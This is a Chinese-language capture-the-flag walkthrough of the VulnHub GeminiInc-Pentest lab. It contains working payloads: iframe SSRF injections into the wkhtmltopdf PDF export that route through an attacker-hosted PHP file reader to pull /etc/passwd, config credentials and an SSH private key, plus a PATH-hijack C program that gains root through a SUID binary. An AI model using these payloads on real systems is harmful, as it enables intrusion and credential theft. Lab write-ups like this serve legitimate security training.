VnlnHub GeminiInc-Pentest
字数 1720 2025-08-11 23:26:41
GeminiInc-Pentest 靶场渗透测试教学文档
靶场搭建
-
下载靶场文件:
- 下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
- 文件格式:ZIP压缩包,解压后得到.ovf虚拟机文件
-
导入虚拟机:
- 使用VMware导入.ovf文件
- 网络模式设置:NAT模式或桥接模式(需与Kali攻击机保持一致)
-
启动虚拟机:
- 完成启动后即可开始渗透测试
信息收集
-
IP扫描:
- 扫描NAT网段确定靶机IP(示例中Kali攻击机IP为192.168.52.147,靶机IP为192.168.52.152)
-
端口扫描:
- 开放端口:
- 22端口:SSH服务
- 80端口:HTTP服务(Apache 2.4.25)
- 开放端口:
Web应用渗透
-
初始访问:
- 访问Web页面显示为Guest用户
- 页面使用了开源框架,提供了GitHub地址
-
源码分析:
- 在页面源码中发现/test2/login.php页面
- 通过GitHub源码发现install.php文件中的默认凭证:admin/1234
-
认证绕过:
- 使用admin/1234成功登录login.php页面
- 用户身份变为admin
-
功能分析:
- 可用功能:
- 查看用户信息
- 编辑用户信息
- 输出为PDF
- 可用功能:
漏洞利用
-
存储型XSS发现:
- 在"Display name"字段存在存储型XSS漏洞
- 但无法直接获取shell
-
PDF导出功能分析:
- 文档属性显示使用wkhtmltopdf 0.12.4
- 该版本存在SSRF导致的任意文件读取漏洞
-
文件读取尝试:
- 初始尝试:
<iframe src="file:///etc/passwd></iframe>(失败) - 远程文件读取成功:
<iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe>
- 初始尝试:
-
本地文件读取绕过:
- 创建PHP文件实现本地文件读取:
<?php echo file_get_contents($_GET['url']); ?> - 构造请求:
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe> - 成功读取/etc/passwd,发现gemini1用户可登录
- 创建PHP文件实现本地文件读取:
-
敏感文件读取:
- 读取配置文件:
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/www/html/test2/inc/settings.php"></iframe> - 获取数据库凭证(但数据库未对外开放)
- 读取SSH私钥:
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/home/gemini1/.ssh/id_rsa"></iframe>
- 读取配置文件:
权限提升
-
SSH登录:
- 使用获取的私钥登录gemini1用户
- 设置私钥权限:
chmod 600 id_rsa - 登录命令:
ssh -i id_rsa gemini1@192.168.52.152
-
SUID提权:
- 查找SUID文件:
find / -perm -4000 2>/dev/null - 发现可疑文件listinfo
- 分析listinfo功能:
- 显示网卡信息、开放端口和当前日期
- 检查发现date命令未使用绝对路径
- 查找SUID文件:
-
环境变量劫持:
- 创建恶意date.c文件:
#include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main(){ setuid(0); setgid(0); system("/bin/bash"); } - 编译:
gcc date.c -o date - 修改环境变量:
export PATH=/home/gemini1:$PATH - 执行listinfo获取root权限
- 创建恶意date.c文件:
总结
本靶场渗透测试流程:
- 通过源码泄露获取默认凭证
- 利用wkhtmltopdf的SSRF漏洞实现文件读取
- 获取SSH私钥实现初始访问
- 利用SUID文件中的路径劫持实现权限提升
关键学习点:
- 源码审计的重要性
- SSRF漏洞的利用方式
- SUID提权中的环境变量劫持技术
- 敏感文件(如SSH密钥、配置文件)的定位与利用